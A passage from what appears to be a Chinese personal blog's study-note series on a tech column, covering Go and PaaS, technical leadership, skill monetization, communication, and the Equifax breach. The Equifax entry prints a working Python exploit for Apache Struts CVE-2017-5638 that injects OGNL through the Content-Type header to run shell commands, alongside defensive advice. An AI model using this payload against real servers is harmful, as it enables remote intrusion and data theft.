<li><strong>解决软件开发中的痛点</strong>。</li>
</ul>
<h2 id="用标尺来衡量go语言">用标尺来衡量Go语言</h2>
<ul>
<li>Go语言容易上手。</li>
<li>Go语言解决了并发编程和底层应用开发效率的痛点。</li>
<li>Go语言有Google这个世界一流的技术公司在后面。</li>
<li>Go语言的杀手级应用是Docker容器。</li>
</ul>
<p><strong>Go语言的未来是不可限量的</strong>。不会吞食底层到C和C++那个级别的,也不会吞食到上层如Java业务层的项目。能吞食的一定是PaaS上的项目,比如一些<strong>消息缓存中间件、服务发现、服务代理、控制系统、Agent、日志收集</strong>等等,他们没有复杂的业务场景,也到不了特别底层(如操作系统)的软件项目或工具。而C和C++会被打到更底层,Java会被打到更上层的业务层。这是我的一个判断。</p>
<h2 id="被低估的paas">被低估的PaaS</h2>
<p>Docker是云计算中PaaS的关键技术。<strong>PaaS是一个被世界或是被产业界严重低估的平台。</strong>PaaS层是承上启下的关键技术,<strong>任何一个不重视PaaS的公司,其技术架构都不可能让这家公司成长为一个大型的公司</strong>。</p>
<p>PaaS层的技术主要解决以下问题:</p>
<ul>
<li><strong>软件生产线的问题</strong>。持续集成和持续发布,DevOps。</li>
<li><strong>分布式服务化的问题</strong>。高可用、服务编排、服务调度、服务发现、服务路由的支撑技术。</li>
<li><strong>提高服务的可用性SLA</strong>。分布式、高可用的技术架构和运维工具。</li>
<li><strong>软件能力的复用</strong>。软件工程中的核心就是软件能力的复用。</li>
</ul>
<p>这些问题的关键程度已经到了<strong>能判断一家技术驱动公司的研发能力是否靠谱的程度</strong>。</p>
<h2 id="早一点进入新技术">早一点进入新技术</h2>
<p>为什么要早一点地进入这些新技术,而不是等待这些技术成熟了后再进入?</p>
<ul>
<li><strong>技术的发展过程非常重要</strong>。非常具体的各种浪潮和思路,比起Go和Docker来说更有价值。</li>
<li><strong>这些关键新技术,可以让你提前抢占技术的先机</strong>。有更大的影响力,形成比较大的护城河,并可以快速地从中获取经济利益。</li>
</ul>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/294">https://time.geekbang.org/column/article/294</a></p>
</blockquote>方伟为什么Go语言和Docker会是新一代的云计算技术?技术人员如何识别什么样的新技术会是未来的趋势?早一点地进入这些新技术有什么好处?【60天重学左耳】Day59-技术领导力2020-02-12T23:30:00+08:002020-02-12T23:30:00+08:00https://fangwei.fun/code/2020/02/12/cxze60-day59<p><strong>做技术有没有前途?什么是技术领导力?作为一个程序员怎样才算是拥有技术领导力呢?如何拥有技术领导力?</strong></p>
<!--more-->
<p>打卡Day59:今天学习了《05|何为技术领导力?》和《06|如何才能拥有技术领导力》,我的收获如下:</p>
<h2 id="技术重要吗">技术重要吗?</h2>
<p>几个发展阶段:</p>
<ol>
<li><strong>野蛮开采。</strong>资源过多,只需要开采就好了。</li>
<li><strong>资源整合。</strong>资源已经被不同的人给占有了,通过管理手段对资源整合优化,提高利用率。</li>
<li><strong>精耕细作。</strong>精细化运作,通过科学的手段来达到。</li>
<li><strong>发明创造。</strong>利用已有不足的资源来创造更好的资源,并替代已有的马上要枯竭的资源。采用高科技来达到。</li>
</ol>
<p><strong>中国公司目前还处于“野蛮开采”阶段</strong>。这就是为什么很多公司为了快速扩张,要获得更多的用户和市场,需要通过加班、加人、烧钱、并购、广告、运营、销售等这些相对比较“野蛮”的方式发展自己,而导致技术人员在其中跟从和被驱动。这也是为什么很多中国公司要用“狼性”、要用“加班”、要用“打鸡血”来驱动员工完成更多的工作。</p>
<p><strong>野蛮开采绝不会是常态</strong>,只能赢得一时,长期来说,一定会被那些掌握先进技术的民族或公司所淘汰。</p>
<p>这也是为什么像亚马逊、Facebook这样的公司,最终都会去发展自己的核心技术,提高自己的技术领导力,从早期的业务型公司转变成为技术型公司的原因。那些本来技术很好的公司,比如雅虎、百度,在发展到一定程度时,将自己定位成了一个广告公司,然后开始变味、走下坡路。</p>
<p><strong>尊重技术的公司和不尊重技术的公司在初期可能还不能显现,而长期来看,差距就很明显了。</strong></p>
<h2 id="什么是技术领导力">什么是技术领导力?</h2>
<p>几次工业革命:</p>
<ol>
<li>第一次工业革命。1860年~1940年。<strong>机器时代。</strong>标志技术,蒸汽机。</li>
<li>第二次工业革命。1870年~1914年。<strong>电力时代。</strong>标志技术,电力和内燃。</li>
<li>第三次工业革命。二战后~至今。<strong>信息时代。</strong>标志技术,计算机。</li>
</ol>
<p>技术领导力是:</p>
<ul>
<li>尊重技术,追求核心基础技术。</li>
<li>追逐自动化高效率的工具和技术,避免无效率的组织架构和管理。</li>
<li>解放生产力,追逐人效的提高。</li>
<li>开发抽象和高质量的可重用的技术组件。</li>
<li>坚持高于社会主流的技术标准和要求。</li>
</ul>
<h2 id="如何拥有技术领导力">如何拥有技术领导力?</h2>
<p>特质:</p>
<ul>
<li><strong>能发现现有方案的问题。</strong></li>
<li><strong>能提供解决问题的思路和方案,并比较优缺点。</strong></li>
<li><strong>能做出正确的技术决定。</strong></li>
<li><strong>能用更优雅,更简单,更容易的方式来解决问题。</strong></li>
<li><strong>能提高代码的扩展性、重用性和可维护性。</strong></li>
<li><strong>能用正确的方式管理团队。</strong>让正确的人做正确的事,发挥每个人的潜力;提高团队的生产力和人效,找到最有价值的需求,用最少的成本实现之;不断地提高自身和团队的标准。</li>
<li><strong>创新能力。</strong>使用新的方法新的方式解决问题,追逐新的工具和技术。</li>
</ul>
<p><strong>总是在提供解决问题的思路和方案的人才是有技术领导力的人。</strong>需要做到以下几点:</p>
<ul>
<li>扎实的基础技术</li>
<li>非同一般的学习能力</li>
<li>坚持做正确的事</li>
<li>不断提高对自己的要求标准</li>
</ul>
<h2 id="吃透基础技术">吃透基础技术</h2>
<p>这些技术可能枯燥无味,要克服人性的弱点,努力啃完。</p>
<h3 id="编程部分">编程部分</h3>
<ul>
<li><strong>C语言。</strong>了解程序是怎么精细控制底层资源的,比如内存管理、文件操作、网络通信。推荐书籍<strong>《C程序设计语言(第2版)》</strong>。</li>
<li><strong>编程范式。</strong>培养抽象思维,提高编程效率,提高程序的结构合理性、可读性和可维护性,降低代码的冗余度,进而提高代码的运行效率。</li>
<li><strong>算法和数据结构。</strong>算法是编程中最最重要的东西,也是计算机科学中最重要的基础。任何有技术含量的软件中一定有高级的算法和数据结构。如 epoll使用了红黑树,数据库索引使用了B+树。</li>
</ul>
<h3 id="系统部分">系统部分</h3>
<ul>
<li><strong>计算机系统原理。</strong>推荐书籍<strong>《深入理解计算机系统》</strong>。</li>
<li><strong>操作系统原理和基础。</strong>推荐三本书<strong>《UNIX环境高级编程》</strong>、<strong>《UNIX网络编程》</strong>和<strong>《Windows核心编程》</strong>。</li>
<li><strong>网络基础。</strong>推荐书籍<strong>《TCP/IP详解》</strong>。</li>
<li><strong>数据库原理。</strong>了解数据库访问性能调优的要点,保证并发情况下数据操作原子性的方法。</li>
<li><strong>分布式技术架构。</strong>参与到分布式项目的开发中去,并阅读相关论文。</li>
</ul>
<p><strong>无法速成,需要用一生的时间来学习。</strong>基础技术会随着阅历和经验的增加而有不同的感悟。</p>
<h2 id="提高学习能力">提高学习能力</h2>
<ul>
<li><strong>学习的信息源。</strong>如果说有的问题你连用英文搜索都找不到,只能到社区里去找作者或者其他人交流,那么可以说你已真正和时代同频了。</li>
<li><strong>与高手交流。</strong>通过技术社区,参加技术会议,参加开源项目。</li>
<li><strong>举一反三的思考。</strong>操作系统的缓存和网页缓存。C++的面向对象和Java的面向对象。</li>
<li><strong>不怕困难的态度。</strong>坚持住,多思考,多下功夫,往往就能找到出路。</li>
<li><strong>开放的心态。</strong>不拘泥于一个平台、一种语言,知道在什么样的场景下用什么样的方案。</li>
</ul>
<h2 id="做正确的事">做正确的事</h2>
<ul>
<li>提高效率的事。</li>
<li>自动化的事。</li>
<li>掌握前沿技术的事。</li>
<li>知识密集型的事。</li>
<li>技术驱动的事。</li>
</ul>
<h2 id="高标准要求自己">高标准要求自己</h2>
<ul>
<li>Google的自我评分卡。</li>
<li>敏锐的技术嗅觉。</li>
<li>强调实践,学以致用。</li>
<li><strong>Lead by Example。</strong>永远在编程。不写代码,你就对技术细节不敏感,你无法做出可以实践的技术决策和方案。</li>
</ul>
<p><strong>仅有技术还不够。</strong>作为一名合格的技术领导者,还需要有解决问题的各种软技能。比如,良好的沟通能力、组织能力、驱动力、团队协作能力等等。推荐书籍<strong>《技术领导之路》</strong>、<strong>《卓有成效的管理者》</strong>。</p>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/288">https://time.geekbang.org/column/article/288</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/291">https://time.geekbang.org/column/article/291</a></p>
</blockquote>方伟做技术有没有前途?什么是技术领导力?作为一个程序员怎样才算是拥有技术领导力呢?如何拥有技术领导力?【60天重学左耳】Day58-从Equifax信息泄露看数据安全2020-02-11T20:30:00+08:002020-02-11T20:30:00+08:00https://fangwei.fun/code/2020/02/11/cxze60-day58<p><strong>从美国知名征信公司Equifax出现的大规模数据泄露事件说起,分析背后的原因,给出解决这类安全问题的技术手段和方法。</strong></p>
<!--more-->
<p>打卡Day58:今天学习了《03|Equifax信息泄露始末》和《04|从Equifax信息泄露看数据安全》,我的收获如下:</p>
<p>2017年9月,美国知名征信公司Equifax出现了大规模数据泄露事件,致使1.43亿用户受到影响。</p>
<h2 id="equifax信息泄露始末">Equifax信息泄露始末</h2>
<p>黑客利用了其系统中未修复的Apache Struts漏洞(CVE-2017-5638,2017年3月6日曝光)来发起攻击。</p>
<p>该漏洞于2017年3月披露,危险系数定为最高分10分,Apache随后发布的Struts 2.3.32和2.5.10.1版本进行了修复。而Equifax在漏洞公布后的两个月内都没有升级Struts版本,导致5月份黑客利用这个漏洞进行攻击,泄露其敏感数据。</p>
<p>Equifax的一个管理面板使用的用户名和密码都是“admin”。</p>
<h2 id="apache-struts-漏洞相关">Apache Struts 漏洞相关</h2>
<p>世界上最流行的Java Web服务器框架之一。采用Java Servlet/JSP技术,实现了基于Java EE Web应用的MVC设计模式的应用框架。</p>
<p>2004年3月成为Apache基金会的顶级项目。2006年,另一个MVC框架WebWork与Struts进行了整合,发布了Struts 2。</p>
<p>中国的Struts应用分布在全球范围内排名第一,第二是美国,然后是日本。</p>
<p>CVE-2017-5638,一个RCE的远程代码执行漏洞,最初被安恒信息的Nike Zheng发现,并于2017年3月7日上报。攻击者可以在使用插件Jakarta Multipart parser上传文件时,修改HTTP请求头中的Content-Type值来触发漏洞,远程执行代码。</p>
<p>就是在Content-Type注入OGNL语言,进而执行命令。代码如下(一行Python命令就可以执行服务器上的shell命令):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import requests
requests.get("https://target", headers={"Connection": "close", "Accept": "*/*", "User-Agent": "Mozilla/5.0", "Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='dir').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"})
</code></pre></div></div>
<p>注入点是在 JakartaMultiPartRequest.java的buildErrorMessage函数中,这个函数里的 localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行。</p>
<h2 id="数据泄露介绍以及历史回顾">数据泄露介绍以及历史回顾</h2>
<ul>
<li>2014年,雅虎遭遇攻击,泄露出5亿用户的密码。</li>
<li>2012年,LinkedIn泄露了6500万用户名和密码。</li>
<li>2014年,携程网安全支付日志存在漏洞,导致大量用户信息如姓名、身份证号、银行卡类别、银行卡号、银行卡CVV码等信息泄露。</li>
<li>2011年,RSA公司被钓鱼邮件攻击。打开带有恶意代码的Excel附件,通过攻破Adobe Flash漏洞,来取得对机器的管理权,并访问RSA内网中的服务器。最终导致其母公司EMC花费6630万美元来调查、加固系统,并最终召回和重新分发了30000家企业客户的SecurID卡片。</li>
</ul>
<h2 id="数据泄露攻击">数据泄露攻击</h2>
<p>攻击是怎样实现的:</p>
<ol>
<li>利用程序框架或库的已知漏洞。比如Equifax被攻击,Apache Struts漏洞。RSA被攻击,Adobe Flash漏洞。“心脏流血”,OpenSSL漏洞。</li>
<li>暴力破解密码。利用密码字典库或是已经泄露的密码来“撞库”。</li>
<li>代码注入。SQL注入、XSS攻击、CSRF攻击。</li>
<li>利用程序日志不小心泄露的信息。</li>
<li>社会工程学。安全意识增强了,才能抵御此类攻击。钓鱼攻击。</li>
</ol>
<p>数据管理上的问题:</p>
<ol>
<li>只有一层安全。</li>
<li>弱密码。</li>
<li>向公网暴露了内部系统。</li>
<li>对系统及时打安全补丁。</li>
<li>安全日志被暴露。</li>
<li>保存了不必要保存的用户数据。</li>
<li>密码没有被合理地散列。</li>
</ol>
<h2 id="专家建议">专家建议</h2>
<p>5条最佳实践。</p>
<ol>
<li>跟踪软件使用的框架和库,版本号、最新安全性声明。</li>
<li>建立一个安全补丁快速发布流程。</li>
<li>所有复杂的软件都有漏洞。</li>
<li>建立多个安全层。</li>
<li>针对公网资源,建立对异常访问模式的监控机制。</li>
</ol>
<h2 id="技术上的安全做法">技术上的安全做法</h2>
<ol>
<li>定义出关键数据,隔离到安全级别非常高的地方。</li>
<li>返回脱敏数据,在传输层上加密。</li>
<li>被加密的数据和用于加密的密钥由不同的人来管理。</li>
<li>密钥随机生成,不同用户的数据有不同的密钥,时不时自动化更新。</li>
<li>关键信息传到外部系统,需要通知用户和管理员。超过限制访问量后,报警或拒绝。</li>
</ol>
<p><strong>安全方案就是能够把这个风险控制在一个很小的范围。</strong>通过“风控基金”来做业务上的补偿,比如赔偿用户损失。防范成本远高于赔偿成本,还不如赔偿。</p>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/281">https://time.geekbang.org/column/article/281</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/285">https://time.geekbang.org/column/article/285</a></p>
</blockquote>方伟从美国知名征信公司Equifax出现的大规模数据泄露事件说起,分析背后的原因,给出解决这类安全问题的技术手段和方法。【60天重学左耳】Day57-程序员如何用技术变现2020-02-10T20:30:00+08:002020-02-10T20:30:00+08:00https://fangwei.fun/code/2020/02/10/cxze60-day57<p><strong>左耳朵耗子陈皓出道20年的工作经历你想了解吗?怎样能让自己的技术被尊重?如何通过技术和技能赚钱?</strong></p>
<!--more-->
<p>打卡Day57:今天学习了《01|程序员如何用技术变现(上)》和《02|程序员如何用技术变现(下)》,我的收获如下:</p>
<p><strong>程序员用自己的技术变现,其实是一件天经地义的事儿。</strong>写程序是一门“手艺活儿”,那么作为手艺人,程序员当然可以做到靠自己的手艺和技能养活自己。</p>
<h2 id="学生时代1994年1998年">学生时代(1994年~1998年)</h2>
<ul>
<li>打了三个月的字,学校按照每千字10元,1000元钱。</li>
<li>五笔越打越快,还会用CCED和WPS排版,去打字工作室帮忙,一个月收入400元。</li>
<li>用Delphi和PowerBuilder写办公自动化和酒店管理软件。一年收入2000元。</li>
<li>5个静态html网页,10000元。不会做。</li>
</ul>
<h2 id="初入职场1998年2003年">初入职场(1998年~2003年)</h2>
<p><strong>我完全没有必要通过打工听人安排而活着,而是反过来通过在公司工作提高自己的技能,让自己可以更为独立和自由地生活。</strong></p>
<p>对于没技术含量的工作,交作业就好了。想尽一切方法提高交作业的效率,比如,提高代码重用度,能自动化的就自动化,和需求人员谈需求,简化掉需求……<strong>省下来的时间,去研究公司里外那些更为核心更有技术含量的技术。</strong></p>
<p>分享文章《C/C++ 内存问题检查利器—Purify》到CSDN博客上,意外得到培训讲师机会,两天税后10000元,当时月薪税前6000元。这件事让我在入行的时候就明白了一些道理:</p>
<ul>
<li><strong>要去经历大多数人经历不到的,要把学习时间花在那些比较难的地方。</strong></li>
<li><strong>要写文章就要写没有人写过的,或是别人写过,但我能写得更好的。</strong></li>
<li><strong>更重要的是,技术和知识完全是可以变现的。</strong></li>
</ul>
<p>因为我分享的东西比较系统,也是独一份,所以,搜索引擎自然是最优化的(<strong>最好的SEO就是独一份</strong>)。</p>
<p>我喜欢做企业内训,了解技术痛点以及工程师想法。拒绝软件开发的私活儿,无法得到成长以及后期维护工作多。</p>
<p><strong>25~35岁是每个人最宝贵的时光,应该用在刀刃上。</strong></p>
<h2 id="职业上升期2003年2016年">职业上升期(2003年~2016年)</h2>
<p><strong>把时间投在一些主流、高级和比较有挑战性的技术上。保持技术和技能的领先,保持对技术本质和趋势的敏感度。</strong></p>
<p>我有强烈的意愿去前沿的公司经历和学习这些东西。</p>
<p>在我把一些价值观和思考记录下来的同时,我自然又被很多人关注到了,还吸引很多不同的思路在其中交织讨论。</p>
<p>2015年,有家公司的后端系统一推广就挂,性能有问题。在生产线上重构,性能翻了10倍。老板高兴给了10 万。<strong>当时心里有一种技术被尊重的感动。</strong></p>
<p>2016年,某个公司需要做一个高并发方案需要2000万QPS。写了700多行代码优化了网络数据传输,达到了2500万QPS。老板给了20万。</p>
<p><strong>并不是社会不尊重程序员,只要你能帮上大忙,就一定会赢得别人的尊重</strong>。</p>
<h2 id="如何让自己的技能变现">如何让自己的技能变现</h2>
<ol>
<li><strong>千里之行,积于跬步。</strong>让身边的人有求于你,或是向别人推荐你。需要你能够掌握大多数人不能掌握的技能或技术,需要你更多地学习,并要有更多的别人没有的经验和经历。</li>
<li><strong>关注有价值的东西。</strong>看清市场需求,各个公司都在做什么,难题是什么。看清技术趋势,能够分辨出什么是主流技术,什么是过渡式的技术,吃透老技术的本质。多问几个问题,这<strong>个技术解决什么问题?为什么别的同类技术做不到?为什么是这样解决的?有没有更好的方式?</strong>背后有越多大型商业公司支持的新技术越需要关注。</li>
<li><strong>找到能体现价值的地方。</strong>在一家高速发展的公司中,技术人员的价值可以达到最大化。</li>
<li><strong>动手能力很重要。</strong>这也是我一直在写代码的原因,了解了代码细节,你才能提出更好或是更靠谱、可以落地的解决方案。</li>
<li><strong>关注技术付费点。</strong>帮人挣钱,帮人省钱。</li>
<li><strong>提升自己的能力和经历。</strong>比如知名开源软件的核心开发,或是知名公司核心项目的核心开发,</li>
<li><strong>找到有价值的信息源。</strong>几乎所有的技术都源自西方世界,应该走到信息的源头去。用好Google,搜索“XXX Best Practice”,或是“Best programming resource”。</li>
<li><strong>输出观点和价值观。</strong>真正伟大的公司或是产品都是要输出价值观的。</li>
<li><strong>朋友圈很重要。</strong>优质朋友圈特性是,有想法有观点经验丰富;涉猎面广;有或多或少的成功;喜欢折腾;对现状不满想做出改变;有一定的影响力。有个关键问题是,物以类聚,人以群分。<strong>如果你不做到这些,你怎么能进入到这样的朋友圈呢?</strong></li>
</ol>
<p><strong>会挣钱的人一定是会投资的人。</strong>最宝贵的财富并不是钱,而是你的时间,时间比钱更宝贵,因为钱你不用还在那里,而时间你不用就浪费掉了。你把你的时间投资在哪些地方,就意味着你未来会走什么样的路。所以,利用好你的时间,投到一些有意义的地方吧。</p>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/183">https://time.geekbang.org/column/article/183</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/185">https://time.geekbang.org/column/article/185</a></p>
</blockquote>方伟左耳朵耗子陈皓出道20年的工作经历你想了解吗?怎样能让自己的技术被尊重?如何通过技术和技能赚钱?【60天重学左耳】Day54-高效沟通:好好说话的艺术2020-02-07T19:00:00+08:002020-02-07T19:00:00+08:00https://fangwei.fun/code/2020/02/07/cxze60-day54<p><strong>怎样跟员工沟通?怎样跟客户沟通?怎样跟老板沟通?跟任何人沟通的关键是什么?</strong></p>
<!--more-->
<p>打卡Day54:今天学习了《105|高效沟通:好好说话的艺术》,我的收获如下:</p>
<h2 id="跟员工沟通">跟员工沟通</h2>
<h3 id="一对一会议">一对一会议</h3>
<p><strong>需要做的是倾听,而非“喋喋不休”地教育。</strong></p>
<ul>
<li>工作状态。得失总结,一起进步。</li>
<li>个人发展。了解兴趣爱好、擅长不足。创造更有挑战的工作,让其更好地成长。</li>
<li>公司组织。是否认可团队目标和方向,澄清之。</li>
<li>Leader自己。很好的反思和学习的过程,平常心对待。</li>
</ul>
<p>记得跟团队骨干聊,体现出你对他的重视。</p>
<h3 id="绩效沟通">绩效沟通</h3>
<ul>
<li>沟通一定要放在平时,不要搞成像秋后算账。</li>
<li>不是指责员工,而是帮助员工。</li>
</ul>
<h3 id="特立独行的员工">特立独行的员工</h3>
<p>很自我,不服管,喜欢按照自己的思路做事。</p>
<ul>
<li><strong>给他找到匹配的人。</strong>比他牛的人,跟他旗鼓相当可以共事的人。</li>
<li><strong>给他独立的工作。</strong>把他隔离出去,让他做一些相对独立和有挑战的事情。</li>
</ul>
<p><strong>当你在一个人身上花的精力和时间成本过大时,坚决地把他替换掉。</strong></p>
<h3 id="挽留离职员工">挽留离职员工</h3>
<ul>
<li><strong>要知道他离职的原因。</strong>员工吐槽公司,说明对公司还有感情,爱之深,责之切。</li>
<li><strong>生意不行友情在。</strong>放眼未来,能在一起工作的机会还有很多。</li>
<li><strong>要提前判断员工离职的前兆。</strong>不积极,甚至会有一些抱怨。是你挽留他的重要时机,因为<strong>有抱怨说明还喜欢这个公司</strong>。而他最终跟你摊牌时,或对公司漠不关心时,留下来的机会是很小的。</li>
</ul>
<p>任何员工,任何事,干了两年就是一个大限,离职率极高。</p>
<h3 id="劝退员工">劝退员工</h3>
<p><strong>要给出一段时间的缓冲期。</strong></p>
<ul>
<li>他要解决和改进他的一些工作问题。</li>
<li>让员工有所准备,可以在外面寻找一些相关的机会,而不至于失业。</li>
</ul>
<p>在分手那天到来的时候,跟员工一起看一下,<strong>他的工作是什么,他的职责是什么,但是他的成绩又是什么?</strong>找无可辩驳的证据,和平地分手。</p>
<p><strong>最好的方式是,给员工一个面子,让他把你开掉。</strong>比如找外面的猎头,把员工挖走;比如亚马逊的主动离职奖金。</p>
<p>劝退时,请他吃一顿饭,或者送他一个纪念品。</p>
<h2 id="跟客户沟通">跟客户沟通</h2>
<h3 id="吸引客户的兴趣">吸引客户的兴趣</h3>
<p><strong>在见客户之前必须要做足功课,确保你自己了解客户的关注点,以及当下的痛点。</strong>然后在交谈的过程中,可以有目的性地在这些方面展开话题,突出一下自己在相关领域的优势和资源。</p>
<p>兵法有云:<strong>知己知彼方能百战不殆</strong>。</p>
<h3 id="帮客户发现问题">帮客户发现问题</h3>
<ul>
<li><strong>结合客户的痛点,了解客户做过的尝试。</strong>客户的痛点其实就是我们的发力点,也就是我们的价值点。绕开很多用户曾经踩过的雷,从做过的尝试中获得一些启发和帮助。</li>
<li><strong>深入细节,了解细节才会有更准确的信息。</strong>让客户举个例子,说给你听。将很多模糊不清的东西具象、形象化了。逐渐磨合,最终达成共识。</li>
<li><strong>小心X/Y问题,找到 X 问题。</strong>要分析客户问题背后的本质原因,从根本上解决问题。</li>
</ul>
<h3 id="管理客户的期望">管理客户的期望</h3>
<p><strong>反例:</strong>很多公司的销售都会把客户的期望搞得很高很高(因为要成单),经常性地用最少的时间,最低的价格,做最多的事,基本上来说这相当于把开发团队卖掉了。不要以为只有销售会这样,我们的很多管理者也是一样的,为了保住自己的位置,拼命地透支自己的团队,等成绩拿到以后,跳槽到别的公司。</p>
<p><strong>讨价还价是这个世界能运转的原因之一,要学会使用。</strong></p>
<ul>
<li>一定要给客户选择权,永远不要说不,要有条件地说是。</li>
<li>降低期望的同时给予其他的补偿。</li>
<li>提高期望的同时附加更多的条件。</li>
<li>对于比较大的期望要分步骤达到客户的期望。</li>
<li>不要帮客户做决定,而是给客户提供尽可能多的选项,然后引导客户做决定。</li>
</ul>
<h2 id="跟老板沟通">跟老板沟通</h2>
<h3 id="了解你的老板">了解你的老板</h3>
<ul>
<li>了解老板的做事风格。事无巨细的,大刀阔斧的,威风管理,老好人等等。</li>
<li>了解老板的目标和KPI是什么。</li>
<li>了解老板的老板是谁,他的风格、目标和KPI是什么。</li>
</ul>
<p><strong>察其言观其行。</strong>倾听老板会有一些出乎你的意料的发现,你要能了解老板背后的苦衷,那些才是最重要的。</p>
<h3 id="赢得老板的信任">赢得老板的信任</h3>
<p><strong>老板只会关心那些能为他带来成绩的员工。</strong>你要成为工作当中的骨干人员,能把自己的事搞定,能把别人搞不定的事搞定。</p>
<p>当你有了能力后,老板才会给你机会,你有了能力又有机会,你就会有更多的机会。这些机会能让你有更多的经验来提升自己的能力,于是形成一个正循环。</p>
<h3 id="管理老板的期望">管理老板的期望</h3>
<p><strong>如果老板的期望跟你的想法有所偏差,一定要及时反馈和讨论。</strong>每个人的特长和优势不同,老板希望你做的,未必是你擅长或者乐于做的。有什么想法一定要诚实地说出来,以免被安排了不喜欢的工作,自己越干越不开心,越干越没热情。</p>
<h3 id="非暴力怼老板">非暴力“怼”老板</h3>
<p>沉默是金。在工作中跟老板有意见分歧是在所难免的,这个时候最好的方法不是怒气冲冠,也不是直接Say No,而是保持沉默不说话,闷着。等待老板沉不住气,换各种思路来说服你,然后顺着老板的话谈条件。</p>
<h2 id="跟人沟通的关键">跟人沟通的关键</h2>
<p><strong>好好说话,静心聆听,能够尊重对方的想法和情绪,更能站在对方的角度来思考。只要你心中时刻想着共情、共赢,你的沟通一定会顺畅和高效很多。</strong></p>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/41008">https://time.geekbang.org/column/article/41008</a></p>
</blockquote>方伟怎样跟员工沟通?怎样跟客户沟通?怎样跟老板沟通?跟任何人沟通的关键是什么?【60天重学左耳】Day53-高效沟通:好老板要善于提问2020-02-06T20:00:00+08:002020-02-06T20:00:00+08:00https://fangwei.fun/code/2020/02/06/cxze60-day53<p><strong>团队管理者如何与员工更好的沟通?怎样做一个善于提问的好老板?当遇到困难问题何时应该反馈寻求帮助?</strong></p>
<!--more-->
<p>打卡Day53:今天学习了《101|高效沟通:好老板要善于提问》,我的收获如下:</p>
<h2 id="引导">引导</h2>
<p>管理者要想尽一切办法让员工自己思考问题,想出答案;而不是灌输,什么事儿都是自己在想,自己讲给员工听。</p>
<p>要给多个答案。然后让他们比较这些答案,促使他们深入地进行思考。</p>
<p>要让他来说,这个任务需要多久能完成。</p>
<p>你的员工都是专业人才,你应该充分信任他们,并且想方设法激发他们的主观能动性,促使他们发挥自己的能力,积极地为你贡献答案,从而保持团队的活力和创造力。</p>
<p><strong>用提问的方式,“倒逼”员工找到答案,从而提高员工的参与感和成就感。</strong></p>
<blockquote>
<p><strong>感想:</strong>我一直践行德鲁克的一句名言:“<strong>激发和释放人本身固有的潜能,创造价值,这就是管理的本质</strong>”。我相信,绝大多数人都想把事情做好,每个人也都有各自的长处,要做到人尽其才,你就很厉害了。</p>
</blockquote>
<h2 id="倾听">倾听</h2>
<p>通过倾听更多地了解员工,了解他们的生长环境和背景,可以帮你对每个员工建立更加合理的预期,从而更好地进行任务分配和人员管理。</p>
<p><strong>心态平和,毫无偏见,全面接收和理解对方的信息,而不是只听自己想听的信息。</strong></p>
<blockquote>
<p><strong>感想:</strong>年纪越大,越难听进他人的意见。这很不好,正所谓人外有人,还是要时刻提醒自己保持谦虚。特别是应该多倾听优秀的年轻人,向他们学习新的思想。</p>
</blockquote>
<h2 id="共情">共情</h2>
<p><strong>有团队成员要辞职了,你要怎样跟他谈呢?</strong>你肯定要找他谈感情。我们一起共事这么久,你要走了,我们一起回忆回忆过去。然后说,没关系,你看你要离开了,有没有什么我可以帮你的?</p>
<p><strong>换位思考,站在对方立场设身处地思考和处理问题,动之以情,晓之以理。</strong></p>
<h2 id="高维">高维</h2>
<p>公司因为战略方向调整,想要砍掉你负责的业务,你和你团队都需要转到新的业务线上。首先应该肯定员工过去的努力以及取得的成绩,明确说明虽然业务被砍,但是我们的技术积累还在,这是我们谋求未来发展的基石。</p>
<p><strong>提升自己的格局观,能从全局利益、长远利益思考问题,解决问题。</strong></p>
<h2 id="反馈">反馈</h2>
<p><strong>“1-2-3 反馈机制”</strong>。</p>
<ol>
<li>自己一个小时解决不了,反馈到高级工程师。</li>
<li>高级工程师两个小时内解决不了,反馈到一线leader。</li>
<li>一线leader、高级工程师三个小时解决不了,向上级反馈。</li>
</ol>
<p><strong>建立反馈机制,及时发现问题、解决问题,形成正向循环。</strong></p>
<blockquote>
<p><strong>感想:</strong>“程序员有时候会跟问题较劲,不自己解决不甘心,不善于求助。还是要审时度势,在意识到可能影响整个进度的时候,及时反馈,借助团队力量解决问题。</p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/177414">左耳朵耗子带你重学《左耳听风》</a></p>
</blockquote>
<blockquote>
<p><a href="https://time.geekbang.org/column/article/33112">https://time.geekbang.org/column/article/33112</a></p>
